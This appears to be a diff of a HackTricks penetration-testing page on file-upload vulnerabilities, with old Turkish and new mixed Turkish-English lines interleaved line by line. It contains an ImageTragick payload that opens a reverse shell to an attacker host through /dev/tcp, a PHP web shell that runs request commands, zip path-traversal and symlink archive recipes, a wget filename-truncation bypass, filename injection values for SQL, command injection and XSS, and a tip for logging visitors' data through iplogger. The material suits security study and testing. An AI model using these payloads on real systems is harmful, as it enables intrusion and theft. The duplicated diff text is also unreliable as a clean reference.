Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler. Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (muhtemelen bir crash sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanmış olması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirlenen aralıklarla yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir. uWSGI'nin konfigürasyon dosyası parse etme sürecinin gevşek doğasını anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir binary dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir.
## **wget Dosya Yükleme/SSRF Hilesi** ## **wget File Upload/SSRF Trick**
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\ Bazı durumlarda bir sunucunun **`wget`** kullanarak **download files** yaptığı ve sizden **indirebileceği** **URL**'yi belirtmenizi istediği durumlarla karşılaşabilirsiniz. Bu tür durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısıtlar. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**. **linux**'ta bir **filename**'in maksimum uzunluğu **255** karakterdir; fakat **wget** dosya adlarını **236** karaktere truncate eder. Örneğin, **"A"\*232+".php"+".gif"** adlı bir dosyayı indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyanın adını **"A"\*232+".php"** olarak **rename** edecektir.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,44 +156,49 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
``` ```
Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğünüz, **HTTP sunucusunun farklı bir dosyaya yönlendirme yapmasıdır**, böylece başlangıç URL'si kontrolü atlayacak ve wget yönlendirilmiş dosyayı yeni adıyla indirecektir. Bu **çalışmayacak** **eğer** wget **parametre** `--trust-server-names` ile kullanılmıyorsa çünkü **wget, yönlendirilmiş sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**. Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Araçlar ## Araçlar
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass), Pentester'lar ve Hata Avcıları için dosya yükleme mekanizmalarını test etmede yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, zafiyetleri tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar. - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) güçlü bir araçtır; Pentesters ve Bug Hunters'ın file upload mekanizmalarını test etmelerine yardımcı olmak üzere tasarlanmıştır. Çeşitli bug bounty techniques kullanarak zafiyetleri tespit etme ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
### Corrupting upload indices with snprintf quirks (historical)
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
## Dosya yüklemeden diğer zafiyetlere ## Dosya yüklemeden diğer zafiyetlere
- **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın. - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz. - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin. - Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)). - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/index.html#xss-uploading-files-svg). - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/index.html#xss-abusing-service-workers). - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload). - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Açık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files). - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yükleri** deneyin. - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Eğer **web sunucusuna bir URL'den bir resmi yakalamasını belirtebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**. - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md). - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme elde etme** yöntemini sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz. - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin. - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Dosya yüklerken herhangi bir **boyut sınırı** olup olmadığını kontrol edin. - Check if there is any **size limit** uploading files
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan [buraya](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Saklı XSS / SSRF / XXE 2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Saklı XSS / SSRF 3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV enjeksiyonu 4. **CSV**: CSV injection
5. **XML**: XXE 5. **XML**: XXE
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML enjeksiyonu / XSS / Açık yönlendirme 7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Piksel sel saldırısı (DoS) 8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: LFI / DoS üzerinden RCE 9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / KÖR XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Burp Eklentisi
{{#ref}} {{#ref}}
https://github.com/portswigger/upload-scanner https://github.com/portswigger/upload-scanner
@ -204,34 +209,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"` - **JPG**: `"\xff\xd8\xff"`
Diğer dosya türleri için [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) adresine bakın. Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar Dosyası Otomatik Olarak Açılan Yükleme ## Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açıldığı Yüklemeler
Eğer sunucu içinde açılacak bir ZIP yükleyebilirseniz, 2 şey yapabilirsiniz: If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink ### Symlink
Diğer dosyalara soft linkler içeren bir bağlantı yükleyin, ardından açılan dosyalara erişerek bağlı dosyalara erişeceksiniz: Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
``` ```
ln -s ../../../index.php symindex.txt ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### Farklı klasörlerde aç ### Farklı klasörlere açma
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır. Sıkıştırma açma sırasında dizinlerde beklenmeyen dosya oluşturulması ciddi bir sorundur. Bu yapılandırmanın kötü amaçlı dosya yüklemeleri yoluyla OS seviyesinde komut yürütmeyi engelleyeceği yönündeki ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların hedeflenen uygulamanın decompression işlevini manipüle ederek kısıtlamaları aşmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir: Böyle dosyalar oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
Ayrıca, **evilarc ile symlink hilesi** bir seçenektir. Amaç `/flag.txt` gibi bir dosyayı hedef almaksa, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar. Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, o dosyaya sisteminizde bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan bir Python kodu örneği bulunmaktadır: Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek vardır:
```python ```python
#!/usr/bin/python #!/usr/bin/python
import zipfile import zipfile
@ -249,11 +254,11 @@ zip.close()
create_zip() create_zip()
``` ```
**Sıkıştırmayı kötüye kullanarak dosya yayma** **Abusing compression for file spraying**
Daha fazla detay için **orijinal gönderiyi kontrol edin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla geçirilen komutları çalıştırmak için yazılır. 1. **Creating a PHP Shell**: PHP kodu `$_REQUEST` değişkeniyle gönderilen komutları çalıştıracak şekilde yazılır.
```php ```php
<?php <?php
@ -263,14 +268,14 @@ system($cmd);
}?> }?>
``` ```
2. **Dosya Yayma ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi derlenir. 2. **File Spraying and Compressed File Creation**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php root@s2crew:/tmp# zip cmd.zip xx*.php
``` ```
3. **Hex Editörü veya vi ile Değişiklik Yapma**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır. 3. **Modification with a Hex Editor or vi**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizin atlamak için "xxA" "../" olarak değiştirilir.
```bash ```bash
:set modifiable :set modifiable
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic ## ImageTragic
Bu içeriği bir resim uzantısıyla yükleyerek açığı kullanın **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767)) Bu içeriği bir image uzantısıyla yükleyerek açığı istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [https://www.exploit-db.com/exploits/39767])
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context pop graphic-context
``` ```
## PNG Üzerine PHP Shell Gömme ## PHP Shell'i PNG'ye gömme
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır. Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, bazı görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanılır. Gömülen PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım senaryoları için önemli bir avantaj sağlar.
Bu tekniğin detaylı bir keşfi, metodolojisi ve potansiyel uygulamaları ile ilgili bilgi aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır. Bu tekniğin metodolojisi ve olası uygulamalarına dair ayrıntılı bir inceleme aşağıdaki makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir şekilde anlaşılmasını sağlar.
Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Poliglot Dosyalar ## Polyglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen kamelyonlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür. Polyglot dosyalar, aynı anda birden fazla dosya formatında geçerli olabilen kamufle olabilen dosyalar olarak siber güvenlikte benzersiz bir araç görevi görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören bir hibrit. Bu tür dosyalar yalnızca bu ikili ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel yararı, dosyaları türüne göre tarayan güvenlik önlemlerini aşabilme yetenekleridir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (örneğin, JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca belirli dosya türlerinin yüklenmesine izin vermektir—JPEG, GIF veya DOC gibi. Ancak, bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir. Polyglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatabilmeleridir. Birçok uygulamada yalnızca belirli dosya türlerine izin verilir — örneğin JPEG, GIF veya DOC — böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları gizlice aşabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARchive) ve bir JPEG'i barındırabilirken, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği, yüklemesini garanti etmek için yeterli olmayabilir. Bununla birlikte polyglotların sınırları da vardır. Örneğin bir polyglot aynı anda bir PHAR (PHp ARchive) dosyası ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem uzantılara karşı katıysa, bir polyglotun yalnızca yapısal ikiliği yükleme için yeterli olmayabilir.
Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Geçerli JSON'ları PDF gibi yükleme ### PDF gibi görünür şekilde geçerli JSON yükleme
Geçerli bir JSON dosyasını yükleyerek dosya türü tespitlerinden nasıl kaçınılır, eğer izin verilmiyorsa bir PDF dosyası taklidi yaparak (**[bu blog yazısından](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** teknikleri): İzin verilmese bile geçerli bir JSON dosyasını PDF taklidi yaparak yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından):
- **`mmmagic` kütüphanesi**: `%PDF` sihirli baytları ilk 1024 baytta bulunduğu sürece geçerlidir (örneği yazıdan al) - **`mmmagic` library**: `%PDF` magic byte'ları ilk 1024 byte içinde olduğu sürece geçerli sayılır (örnek için gönderiye bakın)
- **`pdflib` kütüphanesi**: JSON'un bir alanına sahte bir PDF formatı ekleyerek kütüphanenin bunun bir pdf olduğunu düşünmesini sağla (örneği yazıdan al) - **`pdflib` library**: JSON içindeki bir alanın içine sahte bir PDF formatı ekleyerek kütüphanenin bunun bir PDF olduğunu sanmasını sağla (örnek için gönderiye bakın)
- **`file` ikili**: Bir dosyadan 1048576 bayta kadar okuyabilir. Sadece bunun üzerinde bir JSON oluştur, böylece içeriği JSON olarak ayrıştıramaz ve ardından JSON'un içine gerçek bir PDF'nin başlangıç kısmını koy, böylece bunun bir PDF olduğunu düşünecektir. - **`file` binary**: Bir dosyadan 1048576 byte'a kadar okuyabilir. Dosyayı bunun üzerinde bir JSON yaparak oluştur; böylece içeriği JSON olarak parse edemez ve sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyarsın, `file` bunu PDF sanacaktır
## Referanslar ## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +327,6 @@ Geçerli bir JSON dosyasını yükleyerek dosya türü tespitlerinden nasıl ka
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}